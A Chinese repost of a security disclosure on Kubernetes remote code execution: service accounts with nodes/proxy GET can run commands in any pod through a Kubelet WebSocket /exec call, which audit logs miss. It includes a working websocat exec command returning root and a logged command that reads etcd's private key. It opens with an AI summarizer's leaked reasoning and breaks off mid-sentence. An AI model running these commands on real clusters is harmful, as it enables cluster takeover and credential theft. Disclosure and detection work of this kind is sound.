Kubernetes 通过 nodes/proxy GET 权限在集群任意 Pod 中执行命令(RCE)
好的,我现在需要帮用户总结这篇文章的内容,控制在100个字以内。首先,我得通读整篇文章,抓住主要信息。 文章讲的是Kubernetes中的一个安全问题,涉及到服务账户的权限。具体来说,当服务账户拥有nodes/proxy的GET权限时,攻击者可以在集群中的每个Pod中执行代码。这个漏洞最初被报告过,但被认定为设计目的而未修复。 接下来,文章详细说明了漏洞的工作原理。Kubelet API的节点代理端点允许通过WebSocket连接执行命令。由于Kubelet在初始握手时仅基于GET请求进行授权,而没有后续验证,导致即使没有CREATE权限也能执行命令。 受影响的版本是v1.34和v1.35,并且有69个Helm图表默认包含这个权限。检测和修复的方法也提到了,比如检查服务账户权限和使用特定工具执行命令。 总结时要突出关键点:漏洞名称、影响范围、原因、受影响版本和图表数量。同时要简洁明了,在100字以内。 现在组织语言:Kubernetes存在漏洞,服务账户若拥有nodes/proxy GET权限,可利用Kubelet API在Pod中执行代码。该漏洞未修复,影响多个版本和69个Helm图表。 </think> 本文描述了 Kubernetes 中的一个安全漏洞:当服务账户拥有 `nodes/proxy GET` 权限时,攻击者可利用 Kubelet API 在任何 Pod 中执行代码。此漏洞未被修复,影响多个版本及 69 个 Helm 图表。 2026-1-31 12:37:0 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

在本文中,我将介绍当服务账户具有 nodes/proxy GET权限时,如何在许多 Kubernetes 集群中的每个 Pod 中执行代码。这个问题最初通过 Kubernetes 安全披露流程报告,但被认定为设计目的而关闭。

属性 详情
易受攻击的权限 nodes/proxy GET
测试的 Kubernetes 版本 v1.34, v1.35
所需的网络访问 Kubelet API(端口 10250)
影响 在可达节点的任何 Pod 中执行代码
披露状态 不修复(设计目的)
受影响的 Helm 图表 69

Kubernetes 管理员通常向需要访问 Pod 指标和容器日志等数据的服务账户授予 nodes/proxy资源的访问权限。因此,Kubernetes 监控工具通常需要此资源来读取数据。

nodes/proxy GET允许在使用 WebSocket 等连接协议时执行命令。这是因为 Kubelet 仅基于初始 WebSocket 握手的请求进行授权决策,而不 验证 Kubelet 的 /exec端点是否存在 CREATE权限,这些端点要求的权限完全取决于连接协议。

结果是任何具有对 nodes/proxy GET的服务账户访问权限且能够在端口 10250 连接到节点的 Kubelet 的人都可以向 /exec端点发送信息,在任何 Pod 中执行命令,包括特权系统 Pod ,可能导致完整的集群入侵。Kubernetes AuditPolicy 不记录通过直接连接到 Kubelet API 执行的命令。

这不是特定供应商的问题。 供应商广泛使用 nodes/proxy GET权限,因为没有通常可用的可行替代方案。快速搜索返回了 69 个提及 nodes/proxy GET权限的 helm 图表。一些图表默认包含它,而其他图表可能需要额外的选项配置。如果您有疑虑,请向供应商咨询并查看本文的检测部分。

注意 :一些图表要求启用相关功能才能使用 nodes/proxy。例如,cilium 必须配置为使用 Spire。

以下是一些值得注意的图表。有关已识别的 69 个 Helm 图表的完整列表,请参阅本文的附录:

  • prometheus-community/prometheus
  • grafana/promtail
  • datadog/datadog
  • elastic/elastic-agent
  • cilium/cilium
  • opentelemetry-helm/opentelemetry-kube-stack
  • trivy-operator/trivy-operator
  • newrelic/newrelic-infrastructure
  • wiz-sec/sensor

以下 ClusterRole 显示了利用此漏洞所需的所有权限。

# Vulnerable ClusterRole  
apiVersion: rbac.authorization.k8s.io/v1  
kind: ClusterRole  
metadata:  
name: nodes-proxy-reader  
rules:  
  - apiGroups: [""]  
resources: ["nodes/proxy"]  
verbs: ["get"]

作为集群管理员,您可以使用此检测脚本检查集群中所有服务账户的此权限。 如果服务账户易受攻击,可以使用 websocat 等工具在集群中的所有 Pod 中运行命令:

websocat --insecure \  
  --header "Authorization: Bearer $TOKEN"\  
  --protocol v4.channel.k8s.io \  
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"  
  
uid=0(root) gid=0(root) groups=0(root)

如果您想自己动手,我已经发布了一个实验室,用于演练如何在其他 Pod 中执行命令:https://labs.iximiuz.com/tutorials/nodes-proxy-rce-c9e436a9

快速回顾:Kubernetes RBAC 使用资源和动词来控制访问。资源如 podspods/execpods/logs映射到特定操作,动词如getcreatedelete定义允许的操作。例如,具有create动词的pods/exec允许在 Pod 中执行命令,而具有get动词的pods/logs允许读取日志。

nodes/proxy资源很特殊。与大多数 Kubernetes 资源不同(如 pods/exec用于命令执行或 pods/logs用于日志访问),nodes/proxy是一个全能权限,控制对 Kubelet API 的访问。它通过授予对两个不同但略有关联的端点(称为 API 服务器代理Kubelet API )的访问权限来实现这一点。

API 服务器代理

nodes/proxy授予访问的第一个端点是 API 服务器代理端点 $API_SERVER/api/v1/nodes/$NODE_NAME/proxy/...。 发送到此端点的请求从 API 服务器代理到目标节点的 Kubelet。这用于许多操作,但一些常见的操作包括:

  • 读取指标:$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics
  • 读取资源使用情况:$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/stats/summary
  • 获取容器日志:$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER_NAME

可以使用 kubectl 的 --raw标志或直接使用 curl 访问这些。例如,向指标端点发送请求会返回一些基本指标信息:

# with kubectl  
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10  
  
# Or with curl  
curl -sk -H "Authorization: Bearer $TOKEN"$API_SERVER/api/v1/nodes/$NODE_NAME/proxy/metrics | head -n 10
# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated  
# TYPE aggregator_discovery_aggregation_count_total counter  
aggregator_discovery_aggregation_count_total 0  
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.  
# TYPE apiserver_audit_event_total counter  
apiserver_audit_event_total 0  
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.  
# TYPE apiserver_audit_requests_rejected_total counter  
apiserver_audit_requests_rejected_total 0  
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

由于该请求会经过 API Server,因此(如果配置了 AuditPolicy)会为 pods/execsubjectaccessreviews资源生成审计日志。在记录的 pods/exec请求中,注意 requestURI字段会显示在 Pod 中执行的完整命令。

// Request generated via AuditPolicy  
{  
  "kind": "Event",  
  "apiVersion": "audit.k8s.io/v1",  
  "level": "Metadata",  
  "auditID": "196f4d69-6cfa-4812-b7b9-4bf13689cb8d",  
  "stage": "RequestReceived",  
  "requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=filename%3D%2Fvar%2Flib%2Fminikube%2Fcerts%2Fetcd%2Fserver.key%3B+while+IFS%3D+read+-r+line%3B+do+printf+%22%25s%5C%5Cn%22+%22%24line%22%3Bdone+%3C+%22%24filename%22&container=etcd&stdin=true&stdout=true&tty=true",  
  "verb": "get",  
  "user": {  
    "username": "minikube-user",  
    "groups": [  
      "system:masters",  
      "system:authenticated"  
    ],  
    "extra": {  
      "authentication.kubernetes.io/credential-id": [  
        "X509SHA256=3da792d1a94c5205821984a672707270a9f2d8e27190eb09051b15448e5bf0c3"  
      ]  
    }  
  },  
  "sourceIPs": [  
    "192.168.67.1"  
  ],  
  "userAgent": "kubectl/v1.31.0 (linux/amd64) kubernetes/9edcffc",  
  "objectRef": {  
    "resource": "pods",  
    "namespace": "kube-system",  
    "name": "etcd-minikube",  
    "apiVersion": "v1",  
    "subresource": "exec"  
  },  
  "requestReceivedTimestamp": "2025-11-04T05:42:51.025534Z",  
  "stageTimestamp": "2025-11-04T05:42:51.025534Z"  
}

Kubelet API

除了 API 服务器代理端点外,nodes/proxy资源还授予对 Kubelet API 的直接访问。请记住,每个节点都有一个 Kubelet 进程负责告诉容器运行时要创建哪些容器。

Kubelet 公开了各种 API 端点,提供与 API 服务器代理类似的信息。例如,我们可以通过直接查询 Kubelet API 返回与之前相同的指标数据。

curl -sk -H "Authorization: Bearer $TOKEN" https://$NODE_IP:10250/metrics | head -n 10

注意 :这里必须使用节点的 IP,而不是像通过 API Server 发起请求时那样使用节点名。

# HELP aggregator_discovery_aggregation_count_total [ALPHA] Counter of number of times discovery was aggregated  
# TYPE aggregator_discovery_aggregation_count_total counter  
aggregator_discovery_aggregation_count_total 0  
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.  
# TYPE apiserver_audit_event_total counter  
apiserver_audit_event_total 0  
# HELP apiserver_audit_requests_rejected_total [ALPHA] Counter of apiserver requests rejected due to an error in audit logging backend.  
# TYPE apiserver_audit_requests_rejected_total counter  
apiserver_audit_requests_rejected_total 0  
# HELP apiserver_client_certificate_expiration_seconds [ALPHA] Distribution of the remaining lifetime on the certificate used to authenticate a request.

有趣的是,这种与 Kubelet 的直接连接不经过 API 服务器,这意味着 Kubernetes AuditPolicy 仅生成检查执行操作授权的 subjectaccessreviews日志,但 记录 pods/exec操作,防止我们看到在 Pod 中执行的完整命令。

{  
  "kind": "Event",  
  "apiVersion": "audit.k8s.io/v1",  
  "level": "Metadata",  
  "auditID": "1be86af9-26e7-40e9-aaae-bbb904df129b",  
  "stage": "ResponseComplete",  
  "requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",  
  "verb": "create",  
  "user": {  
    "username": "system:node:minikube",  
    "groups": [  
      "system:nodes",  
      "system:authenticated"  
    ],  
    "extra": {  
      "authentication.kubernetes.io/credential-id": [  
        "X509SHA256=52d652baad2bfd4d1fa0bb82308980964f8c7fbf01784f30e096accd1691f889"  
      ]  
    }  
  },  
  "sourceIPs": [  
    "192.168.67.2"  
  ],  
  "userAgent": "kubelet/v1.34.0 (linux/amd64) kubernetes/f28b4c9",  
  "objectRef": {  
    "resource": "subjectaccessreviews",  
    "apiGroup": "authorization.k8s.io",  
    "apiVersion": "v1"  
  },  
  "responseStatus": {  
    "metadata": {},  
    "code": 201  
  },  
  "requestReceivedTimestamp": "2025-11-04T05:54:54.978676Z",  
  "stageTimestamp": "2025-11-04T05:54:54.979425Z",  
  "annotations": {  
    "authorization.k8s.io/decision": "allow",  
    "authorization.k8s.io/reason": ""  
  }  
}

在编写本文时,Kubelet 的授权文档并未全面列出 Kubelet 的 API 端点。Kubelet 的 API 公开了这些额外的端点:

  • /exec:在容器中产生新进程并执行任意命令(交互式)
  • /run:与 /exec非常相似,在容器中运行命令并检索输出(非交互式)
  • /attach:附加到容器进程并访问其 stdin/stdout/stderr 流
  • /portforward:创建网络隧道以将 TCP 连接转发到容器

/exec/run端点将是我们的主要关注点。与 /metrics/stats等只读端点不同,/exec/run端点允许在容器内执行代码。 通常,在标准 Kubernetes RBAC 语义中,创建 Pod 或在 Pod 中执行代码等操作需要 CREATE RBAC 动词,而读操作需要 GET 动词。这使得很容易查看(集群)角色并识别它是否仅读。但是,如 Rory McCune 在博文"何时只读不是只读?"中指出的那样,这并不普遍适用。 nodes/proxy CREATE以可怕著称,并被充分记录为风险:

  • RBAC 最佳实践
  • API 服务器绕过风险
  • Kubernetes RBAC 中的 Node/Proxy
  • Kubernetes RBAC 中的权限提升
  • CIS Kubernetes 安全基准

甚至 nccgroup 的一次安全审计也指出,当 nodes/proxy GETnodes/status PATCHnodes CREATE组合使用时会出现问题:

文档明确说明,发往 Kubelet 的请求与发往 API Server 代理路径的请求在授权上采用相同的方式:“kubelet 使用与 apiserver 相同的请求属性方式对 API 请求进行授权”。(见 kubelet-authorization 文档) 当向 API Server 发送一个常规请求时,Kubernetes 会读取 HTTP 方法(GETPOSTPUT……)并将其转换为 RBAC 的“verb”,例如 GETCREATEUPDATE。(auth.go:80-94) Kubernetes 文档给出了 HTTP 动词到 RBAC 动词的映射:

按理说,这意味着 POST请求应一致地映射到 RBAC CREATE动词,而 GET请求映射到 RBAC GET动词。然而,当通过 WebSocket 等非 HTTP 通信协议访问 Kubelet 的 /exec端点时(根据 RFC,初始握手阶段需要一个 HTTP GET),Kubelet 的授权决策基于这个初始GET ,而不是随后发生的命令执行操作。结果就是:nodes/proxy GET会错误地允许执行本应需要 nodes/proxy CREATE的命令执行操作。

nodes/proxy权限授予服务账户对 Kubelet API 的访问权限。安全专业人员已明确指出,如我之前指出的那样,即使没有此漏洞,对 Kubelet API 的读访问也授予对 /metrics/containerLogs等只读端点的访问权限。

注意 我强烈建议检查这些是否包含机密或 API 密钥! 但是,这个问题呈现了一个更严重的问题:nodes/proxy GET授予对命令执行端点的写访问权限。 在本讨论中,我将使用具有以下 ClusterRole 的服务账户。

apiVersion: rbac.authorization.k8s.io/v1  
kind: ClusterRole  
metadata:  
name: nodes-proxy-reader  
rules:  
  - apiGroups: [""]  
resources: ["nodes/proxy"]  
verbs: ["get"]

根本原因

如前所述,Kubelet 根据初始 HTTP 方法决定要检查哪个 RBAC 动词。POST请求映射到 RBAC CREATE动词,而 GET请求映射到 RBAC GET动词。 这很有趣,因为 Kubelet 上的命令执行端点(如 /exec)使用 WebSocket 进行双向数据流。由于 HTTP 不是实时双向通信的好选择,交互式命令执行需要像 WebSocket 或 SPDY 这样的协议。 有趣的是,WebSocket 协议要求在初始握手期间发送带有 Connection: Upgrade头的 HTTP GET请求来建立并升级到 WebSocket。 这意味着在任何 WebSocket 连接建立中发送的初始请求是带有 Connection: Upgrade头的 HTTP GET

GET /exec HTTP/1.1  
Host: example.com  
Upgrade: websocket  
Connection: Upgrade  
<snip>

由于在 WebSocket 连接期间发送的这个初始 GET请求,Kubelet 根据在 WebSocket 连接建立期间进行的这个初始 GET请求错误地授权请求,而不是在连接建立后验证执行的权限。 Kubelet 缺少在连接请求升级后的授权检查,并且在使用 WebSocket 时不会验证服务账户是否具有执行实际操作的权限。 这允许使用


文章来源: https://www.freebuf.com/articles/web/469125.html
如有侵权请联系:admin#unsafe.sh